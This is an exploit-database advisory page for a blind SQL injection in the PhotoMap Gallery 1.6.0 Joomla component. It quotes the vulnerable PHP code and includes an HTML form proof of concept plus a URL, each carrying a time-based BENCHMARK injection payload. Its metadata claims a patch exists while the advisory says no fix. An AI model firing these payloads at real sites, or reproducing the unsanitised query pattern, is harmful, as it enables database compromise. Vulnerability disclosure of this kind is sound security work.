PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection

vendor:

PhotoMap Gallery

by:

Salvatore Fresta aka Drosophila

7,5

CVSS

HIGH

Multiple Blind SQL Injection

CWE

Product Name: PhotoMap Gallery

Affected Version From: 1.6.0

Affected Version To: 1.6.0

Patch Exists: YES

Related CWE: N/A

CPE: a:joomla:photomap_gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Joomla 1.5.x

2010

PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection

Some parameters passed to controller.php and imagehandler.php via POST when view is set to user and task is set to save_usercategory are not properly sanitised before being used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries that are executed on the database server.

Source

Exploit-DB raw data:

PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection

 Name              PhotoMap Gallery
 Vendor            http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/10658
 Versions Affected 1.6.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-28

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

PhotoMap Gallery  is  a   gallery  component  completely
integrated  into  Joomla 1.5.x. Like 'Picasa', 'Flickr',
or 'Panoramio',  you  can  easily  add geo-tags  to your
photos  so  that  you can remember exactly where they're
from using Google Maps.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary: 

A) Multiple Blind SQL Injection
_______________________________

The parameter id passed to controller.php  via POST when
view is set to user and task is set to save_usercategory
is  not  properly sanitised  before being  used in a SQL
query. This  can  be exploited to manipulate SQL queries
by injecting arbitrary SQL code.

The parameter folder passed to  imagehandler.php  is not
properly sanitised before used in a SQL query.  This can
be  exploited  to  manipulate  SQL  queries by injecting
arbitrary SQL code.

The following is the affected code.

controller.php (line 1135):

function save_usercategory() {

    // Check for request forgeries
	JRequest::checkToken() or jexit( 'Invalid Token' );
		
	$user			= & JFactory::getUser();
	$task			= JRequest::getVar('task');
	$post 			= JRequest::get('post');

	//perform access checks
	$isNew = ($post['id']) ? false : true;

//	$catid = (int) JRequest::getVar('catid', 0);
		
	$db 	=& JFactory::getDBO();
	$query = 'SELECT c.id, c.directory'
				. ' FROM #__g_categories AS c'
				. ' WHERE c.id = '.$post['id'];


imagehandler.php (line 109);

function getList() {

	static $list;

	// Only process the list once per request
	if (is_array($list)) {
		return $list;
	}

	// Get folder from request
	$folder = $this->getState('folder');
	$search = $this->getState('search');

	$query = 'SELECT *'
			. ' FROM #__g_categories'
			. ' WHERE id = '.$folder;



IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

Replace 89eb36eca1919aff534b13b54796c9a4 with your own.

<html>
	<head>
	    <title>PoC - PhotoMap Gallery 1.6.0 Blind SQL Injection</title>
	</head>
	<body>
	    <form method="POST" action="http://127.0.0.1/joomla/index.php">
	        <input type="hidden" name="89eb36eca1919aff534b13b54796c9a4" value="1">
			<input type="hidden" name="option" value="com_photomapgallery">
			<input type="hidden" name="controller" value="">
			<input type="hidden" name="view" value="user">
		    <input type="hidden" name="task" value="save_usercategory">
		    <input type="hidden" name="id" value="-1 AND (SELECT(IF(0x41=0x41, BENCHMARK(99999999999,NULL),NULL)))">
		    <input type="submit">
	    </form>
	</body>
</html>


http://site/path/index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix.